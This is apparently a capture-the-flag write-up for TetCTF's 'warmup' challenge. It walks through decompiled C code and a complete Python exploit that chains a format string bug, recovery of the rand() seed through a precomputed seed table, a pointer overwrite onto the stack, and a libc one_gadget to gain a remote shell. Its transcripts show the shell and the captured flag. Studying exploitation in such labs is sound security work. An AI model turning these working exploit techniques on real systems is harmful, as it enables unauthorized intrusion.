Tags: one_gadget ctypes pwnscripts fsb
Rating: 5.0
nc 192.46.228.70 32337
author: @chung96vn
pwnscripts
The usual initialisation functions for a C challenge are here:
void handler(){
puts("Time out!");
exit(0);
}
unsigned int init_stuff(){
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
signal(14, (__sighandler_t)handler);
return alarm(0x100);
}
int main(){
init_stuff();
main_main();
}
In main_main()
, the real program exists:
uint64_t money; // PIE+0x202050
char *buf; // PIE+0x202058
void get_long_unsigned(unsigned __int64 *bss_ptr) {
char s[136]; // [rsp+10h] [rbp-90h] BYREF
memset(s, 0, 128);
read(0, s, 0x80);
__isoc99_sscanf(s, "%lu", bss_ptr);
memset(s, 0, 0x80);
}
typedef struct Player {
uint64_t *money;
char name[0x80];
} Player;
int main_main(){
buf = calloc(0x400, 1);
Player *player = calloc(0x88, 1); // [rsp+8h] [rbp-8h]
player->money = &money;
do {
printf("How much money you want? ");
get_long_unsigned(&money);
} while (money > 0x8000000000000000LL);
Game(player);
puts("Game Over");
printf("Your money: %lu ZWD\n", money);
printf("Send to author your feeback: ");
read(0, buf, 0x400);
return puts("Thank for your feedback");
}
Two calloc()
buffers are allocated, one of size 0x400 (stored at .bss), and another of size 0x88 (stored at the stack). The 0x88 buffer is used to store a Player
, which is used to run a Game()
. After the Game()
is over, we get to edit the pointer atbuf
, which should be the 0x400 pointer allocated by calloc()
.
So far, so good. What about Game()
?
unsigned read_printable_n(char *s, signed int len) {
// read n characters at max; break immediately on char value < 32, return number of chars read
int i = 0;
for (; i < len; ++i) {
char buf;
read(0, &buf, 1uLL);
if ( buf == '\n' || buf <= 31 ) break;
s[i] = buf;
}
return i;
}
void printf_padded(const char *s) {
// supposed to print s[], padded to 50 characters. FSB!
printf(s);
for (int i = strlen(s); i <= 48; ++i) putchar(' ');
puts("*");
}
int getint() {
char nptr[40]; // [rsp+10h] [rbp-30h] BYREF
for (int i = 0; i <= 31; ++i) {
char buf;
read(0, &buf, 1uLL);
if (buf == '\n') break;
nptr[i] = buf;
}
return atoi(nptr);
}
void Game(Player *player) {
printf("Player name: ");
read_printable_n(player->name, 0x80); //read correct number of bytes (but with no nul-terminator)
puts("**************************************************");
puts("Danh de ra de ma` o? =]] *");
puts("**************************************************");
printf_padded(player->name); // FSB!
puts("**************************************************");
int fd = open("/dev/urandom", 0); // [rsp+24h] [rbp-2Ch]
if (fd < 0) {
puts("Error");
exit(0);
}
unsigned buf = 0; // [rsp+1Ch] [rbp-34h] BYREF
read(fd, &buf, 3uLL);
close(fd);
srand(buf); // seed with 3 bytes of randomness
unsigned roundNo = 1; // [rsp+20h] [rbp-30h]
while (1) {
printf("Round: %d\n", roundNo++);
printf("Your money: %lu ZWD\n", *player->money);
printf("Your bet (= 0 to exit): ");
uint64_t bet = 0LL;// [rsp+30h] [rbp-20h] BYREF
get_long_unsigned(&bet);
if (!bet) break;
printf("Your choice: ");
guess = get_int(); // [rsp+28h] [rbp-28h]
unsigned lucky_num = rand(); // [rsp+2Ch] [rbp-24h]
printf("Lucky number: %u\n", lucky_num);
if ( guess == lucky_num )
*player->money += bet + rand();
else
*player->money -= bet + rand();
}
}
That's long, but there are a few points of obvious interest:
printf()
occurs with a user-controlled format string (located on the heap, not the stack) of 0x80+ bytes. This happens only once, so unless we're willing to dig in with a one-shot format string exploit, we'll probably have to do something else here.rand()
to modify *player->money
. The purpose of this is not immediately clear; why would we need to edit money
anyway?In any case, the presence of rand()
in a CTF usually indicates the need to predict its pseudorandom output.
rand()
We'll start by setting up a standard script to interact with the remote:
from pwnscripts import *
from re import findall
context.binary = 'warmup'
context.libc_database = '../libc-database'
context.libc = 'libc-2.23.so'
def start(s: bytes):
r = remote('192.46.228.70', 32337)
r.sendlineafter('want? ', '0')
r.sendafter('name: ', s)
for _ in range(3): r.recvline()
return r,r.recvline()
def findnum(s: bytes): return int(findall(b'[0-9]+', s)[0])
def show_money(): # name is a bit of a misnomer, this tries to grab the money displayed at the start of a round
r.recvuntil('Your money: ')
return findnum(r.recvline())
def Round(bet: int, choice: int):
r.sendlineafter('(= 0 to exit): ', str(bet))
r.sendlineafter('choice: ', str(choice))
return findnum(r.recvline())
r, _ = start('\n')
log.info('money (should be 0): %d' % show_money())
log.info('luckynum (trying 1): %d' % Round(1,1))
r.interactive()
Resulting in
[x] Opening connection to 192.46.228.70 on port 32337
[x] Opening connection to 192.46.228.70 on port 32337: Trying 192.46.228.70
[+] Opening connection to 192.46.228.70 on port 32337: Done
[*] money (should be 0): 0
[*] luckynum (trying 1): 1160767648
[*] Switching to interactive mode
Round: 2
Your money: 18446744072331449552 ZWD
Your bet (= 0 to exit):
(That big number at the end is 0xffffffffaddbd4d0L
; the natural consequence of money
underflowing from 0)
Although /dev/urandom
itself is too random to easily predict, srand()
is only initiated with 3 bytes of input from the device, with the Most Significant Byte being 0
. That's ~16 million possible seeds, which is big, but not<sup>1</sup> big enough to prevent us from generating a huge-ass hash table of rand()
output-to-seed tuples:
from ctypes import CDLL
from pickle import dump
from tqdm import tqdm
glibc = CDLL('./libc-2.23.so')
nums = {}
for i in tqdm(range(0xffffff)):
glibc.srand(i)
t = tuple(glibc.rand() for _ in range(3)) # 2 rand()s is statistically sufficient
t = (t[0], t[2]) # remove the rand() that isn't printed by warmup
nums[t] = nums.get(t, ())+(i,)
with open('srand_dict.pickle', 'wb') as f: dump(nums, f)
srand_dict.pickle
contains a python dict
of {(0th rand(), 2nd rand()): seed}
key-pairs. We can load this dictionary in our main exploit script to accurately predict the random values used by the server:
r, _ = start('\n')
log.info('money (should be 0): %d' % show_money())
randints = [Round(1,1)]
log.info('money (aft round 1): %d' % show_money())
randints.append(Round(1,1))
log.info('money (aft round 2): %d' % (money:=show_money()))
from pickle import load
log.info('LOADING SEED DICT')
with open("srand_dict.pickle", 'rb') as f: seed_dict = load(f)
seeds = seed_dict[tuple(randints)]
assert len(seeds) == 1 # Unlikely but possible
seed = seeds[0]
log.info('seed found! %d' % seed)
# To verify this seed, let's predict the next bet.
from ctypes import CDLL
glibc = CDLL('./libc-2.23.so')
glibc.srand(seed)
for _ in range(2*2): glibc.rand() # run through the already-used seeds
log.info('According to our predictions, %d == %d!' % (Round(1,1), glibc.rand()))
It works:
[+] Opening connection to 192.46.228.70 on port 32337: Done
[*] money (should be 0): 0
[*] money (aft round 1): 18446744072129837390
[*] money (aft round 2): 18446744070518320621
[*] LOADING SEED DICT
[*] seed found! 6897926
[*] According to our predictions, 450409924 == 450409924!
Now what?
I started by making a dump (ASLR off here) of the stack to see what we could do:
gef➤ telescope 50
0x00007ffffffedd58│+0x0000: 0x0000000008000d35 → mov rax, QWORD PTR [rbp-0x18] ← $rsp
0x00007ffffffedd60│+0x0008: 0x0000008000000000
0x00007ffffffedd68│+0x0010: 0x0000000008403428 → 0x000000006b637566 ("heck"?)
0x00007ffffffedd70│+0x0018: 0x00007ffffffedde0 → 0x00007ffffffede00 → 0x00007ffffffede10 → 0x00000000080011d0 → push r15
0x00007ffffffedd78│+0x0020: 0x0000000008000b00 → xor ebp, ebp
0x00007ffffffedd80│+0x0028: 0x00007ffffffedde0 → 0x00007ffffffede00 → 0x00007ffffffede10 → 0x00000000080011d0 → push r15 ← $rbp
0x00007ffffffedd88│+0x0030: 0x0000000008000e9f → lea rdi, [rip+0x3ca] # 0x8001270
0x00007ffffffedd90│+0x0038: 0x0000000000000000
0x00007ffffffedd98│+0x0040: 0x0000000008403420 → 0x0000000008202050 → 0x0000000000000001
0x00007ffffffedda0│+0x0048: 0x0000000000000000
0x00007ffffffedda8│+0x0050: 0x0000000000000000
0x00007ffffffeddb0│+0x0058: 0x0000000000000001
0x00007ffffffeddb8│+0x0060: 0x0000000000000000
0x00007ffffffeddc0│+0x0068: 0x0000000000000000
0x00007ffffffeddc8│+0x0070: 0xeef52044fc1cae00
0x00007ffffffeddd0│+0x0078: 0x0000000008000b00 → xor ebp, ebp
0x00007ffffffeddd8│+0x0080: 0x0000000000000000
0x00007ffffffedde0│+0x0088: 0x00007ffffffede00 → 0x00007ffffffede10 → 0x00000000080011d0 → push r15
0x00007ffffffedde8│+0x0090: 0x00000000080010c3 → lea rdi, [rip+0x297] # 0x8001361
0x00007ffffffeddf0│+0x0098: 0x00007ffffffedef0 → 0x0000000000000001
0x00007ffffffeddf8│+0x00a0: 0x0000000008403420 → 0x0000000008202050 → 0x0000000000000001
0x00007ffffffede00│+0x00a8: 0x00007ffffffede10 → 0x00000000080011d0 → push r15
0x00007ffffffede08│+0x00b0: 0x00000000080011c2 → mov eax, 0x0
0x00007ffffffede10│+0x00b8: 0x00000000080011d0 → push r15
0x00007ffffffede18│+0x00c0: 0x00007fffff0802e1 → <__libc_start_main+241> mov edi, eax
0x00007ffffffede20│+0x00c8: 0x00007fffff3f57d8 → 0x00007fffff07fc20 → <init_cacheinfo+0> push r15
0x00007ffffffede28│+0x00d0: 0x00007ffffffedef8 → 0x00007ffffffee14f → "/warmup"
0x00007ffffffede30│+0x00d8: 0x00000001ff1c1508
0x00007ffffffede38│+0x00e0: 0x00000000080011aa → push rbp
0x00007ffffffede40│+0x00e8: 0x0000000000000000
0x00007ffffffede48│+0x00f0: 0xb12e2943ebbe0993
0x00007ffffffede50│+0x00f8: 0x0000000008000b00 → xor ebp, ebp
0x00007ffffffede58│+0x0100: 0x00007ffffffedef0 → 0x0000000000000001
A couple of things worth noting here.
__libc_start_main_ret
(+0x00c0
)+0x30
)__libc_start_main_ret
(+0x00d0
)rand()
, modifying the player->money
pointer will allow for an arbitrary (8-byte) write at that specific pointer. Because player->money
is originally pointing to PIE+0x202050, a single-byte %hhn
write to *player
will allow us to modify any value from PIE+0x202000 to PIE+0x2020ff.
.bss:0000000000202020 stdout dq ? ; DATA XREF: LOAD:0000000000000508↑o
.bss:0000000000202030 stdin dq ? ; DATA XREF: LOAD:0000000000000520↑o
.bss:0000000000202040 stderr dq ? ; DATA XREF: LOAD:0000000000000538↑o
.bss:0000000000202048 byte_202048 db ? ; DATA XREF: sub_BC0↑r
.bss:0000000000202050 ; unsigned __int64 money
.bss:0000000000202058 buf dq ? ; DATA XREF: main_main+17↑w
Although replacing the std*
pointers might work via FILE*
exploitation, I chose to overwrite buf
instead, because the end of main_main()
gives us the opportunity to flood it with a larger input:
printf("Send to author your feeback: ");
read(0, buf, 0x400);
return puts("Thank for your feedback");
If we replace buf
with a pointer to the stack, we'll be able to insert a ROP-chain ahead of a function frame, giving an immediate challenge solve with the other pointers leaked by printf.Implementing this is easy with pwnscripts
. We'll start by gathering offsets for printf()
:
@context.quiet
def printf(s: bytes):
r,rtr = start(s)
r.close() # prevent xinetd from booting us
return rtr
PIE_ret = 0xE9F # the constant 1.5 lowest bytes for the PIE address we're leaking
PIE_offset = fsb.find_offset.PIE(printf, offset=PIE_ret)
money_offset= fsb.find_offset.PIE(printf, offset=0x20) # this should correspond with the calloc pointer to `player`
libc_offset = fsb.find_offset.libc(printf, offset=context.libc.symbols['__libc_start_main_ret']&0xfff)
stack_offset= libc_offset+2
log.info('important printf() offsets: %d %d %d' % (money_offset, libc_offset, PIE_offset))
Running this (with context.log_level = 'debug'
):
[DEBUG] pwnscripts: extracted 0xd
[DEBUG] pwnscripts: extracted 0x560fcd522270
[DEBUG] pwnscripts: extracted 0x55eb02255428
[DEBUG] pwnscripts: extracted -0x1
[DEBUG] pwnscripts: extracted 0x7fff107629e0
[DEBUG] pwnscripts: extracted 0x7ffe8209b540
[DEBUG] pwnscripts: extracted 0x55597a4cce9f
[*] pwnscripts.fsb.find_offset for 'PIE': 11
[DEBUG] pwnscripts: extracted 0xd
[DEBUG] pwnscripts: extracted 0x561a4e1a4270
[DEBUG] pwnscripts: extracted 0x557f2cb32428
[DEBUG] pwnscripts: extracted -0x1
[DEBUG] pwnscripts: extracted 0x7ffe1a30fb10
[DEBUG] pwnscripts: extracted 0x7ffc468d6260
[DEBUG] pwnscripts: extracted 0x55b161816e9f
[DEBUG] pwnscripts: extracted -0x1
[DEBUG] pwnscripts: extracted 0x55c4b535e420
[*] pwnscripts.fsb.find_offset for 'PIE': 13
[DEBUG] pwnscripts: extracted 0xd
[DEBUG] pwnscripts: extracted 0x55d8562f7270
[DEBUG] pwnscripts: extracted 0x55de9b4f4428
[DEBUG] pwnscripts: extracted -0x1
[DEBUG] pwnscripts: extracted 0x7ffdd8503e40
[DEBUG] pwnscripts: extracted 0x7fff355ec1b0
[DEBUG] pwnscripts: extracted 0x55ac42025e9f
[DEBUG] pwnscripts: extracted -0x1
[DEBUG] pwnscripts: extracted 0x55ea72259420
[DEBUG] pwnscripts: extracted -0x1
[DEBUG] pwnscripts: extracted -0x1
[DEBUG] pwnscripts: extracted 0x1
[DEBUG] pwnscripts: extracted -0x1
[DEBUG] pwnscripts: extracted -0x1
[DEBUG] pwnscripts: extracted 0xf25b29d7e24df000
[DEBUG] pwnscripts: extracted 0x7ffd565bdf10
[DEBUG] pwnscripts: extracted -0x1
[DEBUG] pwnscripts: extracted 0x7ffd11d8de40
[DEBUG] pwnscripts: extracted 0x55e63b0560c3
[DEBUG] pwnscripts: extracted 0x558e9746bb00
[DEBUG] pwnscripts: extracted 0x55effdbdd420
[DEBUG] pwnscripts: extracted 0x7ffeaeaf7d50
[DEBUG] pwnscripts: extracted 0x55624eeb41c2
[DEBUG] pwnscripts: extracted 0x5580ccc0e1d0
[DEBUG] pwnscripts: extracted 0x7fa8da2f3840
[*] pwnscripts.fsb.find_offset for 'libc': 29
[*] important printf() offsets: 13 29 11
That works, albeit slowly<sup>2</sup>. We'll replace it all with constants for now, culminating in this current script:
from pwnscripts import *
from re import findall
context.binary = 'warmup'
context.libc_database = '../libc-database'
context.libc = 'libc-2.23.so'
def start(s: bytes):
r = remote('192.46.228.70', 32337)
r.sendlineafter('want? ', '0')
r.sendafter('name: ', s)
for _ in range(3): r.recvline()
return r,r.recvline()
def findnum(s: bytes): return int(findall(b'[0-9]+', s)[0])
def show_money(): # name is a bit of a misnomer, this tries to grab the money displayed at the start of a round
r.recvuntil('Your money: ')
return findnum(r.recvline())
def Round(bet: int, choice: int):
r.sendlineafter('(= 0 to exit): ', str(bet))
r.sendlineafter('choice: ', str(choice))
return findnum(r.recvline())
# Step 0: find printf() offsets
@context.quiet
def printf(s: bytes):
r,rtr = start(s)
r.close() # prevent xinetd from booting us
return rtr
PIE_ret = 0xE9F # the constant 1.5 lowest bytes for the PIE address we're leaking
PIE_offset = 11#fsb.find_offset.PIE(printf, offset=PIE_ret)
money_offset= 13#fsb.find_offset.PIE(printf, offset=0x20) # this should correspond with the calloc pointer to `player`
libc_offset = 29#fsb.find_offset.libc(printf, offset=context.libc.symbols['__libc_start_main_ret']&0xfff)
stack_offset= libc_offset+2
Now, we'll need to accomplish ROP.
We'll start the remote connection by extracting all of the ASLR leaks mentioned above.
# step 1: leak PIE+heap; overwrite the ptr to money with a ptr to .bss[buf].
context.binary.symbols['buf'] = 0x202058
r, infoleak = start('%{}c%{}$hhn||%{}$p,%{}$p,%{}$p\0'.format(
context.binary.symbols['buf']&0xff,
money_offset, PIE_offset, libc_offset, stack_offset)
)
PIE_leak, libc_leak, stack_leak = unpack_many_hex(infoleak.split(b'||')[1])
context.libc.calc_base('__libc_start_main_ret', libc_leak)
context.binary.address = PIE_leak - PIE_ret
log.info('PIE: %s' % hex(context.binary.address))
log.info('Libc:%s' % hex(context.libc.address))
log.info('Stack return addr: %s' % hex(stack_ret := stack_leak-0xe0)) # bruteforce 0xe0 on remote...
I'm cheating a bit here by omitting how<sup>3</sup> I obtained the magic number 0xe0
. In any case, we've now essentially leaked everything, while also modifying player->money
to point to .bss[buf]
.
Next, we'll need to modify buf
to point to a return pointer on the stack. Continuing from the srand()
prediction system hashed out earlier, we'll do a few calculations to adjust buf
by Round 3:
# step 2: set .bss[buf] to point to stack_ret
randints = [Round(1,1), Round(1,1)]
from pickle import load
log.info('LOADING SEED DICT')
with open("srand_dict.pickle", 'rb') as f: seed_dict = load(f)
seeds = seed_dict[tuple(randints)]
assert len(seeds) == 1 # Unlikely but possible
seed = seeds[0]
log.info('seed found! %d' % seed)
from ctypes import CDLL
glibc = CDLL('./libc-2.23.so')
glibc.srand(seed)
for _ in range(2*2): glibc.rand() # run through the already-used seeds
# step 3: with rand() handled, we can adjust buf[].
lucky_num = glibc.rand()
diff = stack_ret-show_money()-glibc.rand() # diff is guaranteed to be greatly positive,
#### because stack pointers (0x7ff[0-9a-f]{9}) >> heap pointers (0x5[0-9a-f]{11})
Round(diff, lucky_num)
log.info('money (which is buf!): ' + hex(show_money()))
You'll get this:
[+] Opening connection to 192.46.228.70 on port 32337: Done
[*] PIE: 0x556385c1c000
[*] Libc:0x7f9627801000
[*] Stack return addr: 0x7ffeb86d7a08
[*] LOADING SEED DICT
[*] seed found! 15904512
[*] money (which is buf!): 0x7ffeb86d7a08
You can't really tell whether or not buf
is pointing to the right location at this point, so we'll need to put it to the test.
Because we're using libc-2.23.so
here, there are a lot of really good one_gadgets
available:
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
The first one Just Works :tm:, so there's actually no need for ROP at all here:
# step 4: overwrite ret with a one_gadget.
r.sendlineafter('(= 0 to exit): ', '0')
r.sendafter('back: ', pack(context.libc.select_gadget(0)))
r.interactive()
Solved.
[+] Opening connection to 192.46.228.70 on port 32337: Done
[*] PIE: 0x55c1acad6000
[*] Libc:0x7f242193d000
[*] Stack return addr: 0x7ffdb4cc1b28
[*] LOADING SEED DICT
[*] seed found! 5816947
[*] money (which is buf!): 0x7ffdb4cc1b28
[*] Switching to interactive mode
Thank for your feedback
$ whoami
warmup
$ cat /home/warmup/flag
TetCTF{viettel: *100*311267385452644#}$
.find_offset
module... soon.stack_ret := stack_leak-int(argv[1])*context.bytes
(add from sys import argv
somewhere), and then run for i in $(seq 1 20); do python3.8 solve.py $i; done
. The offset that succeeds without an EOFError
is the winner.
Bruteforcing is really necessary here. The offset on remote != offset on local, even while running the binary with the given libc version.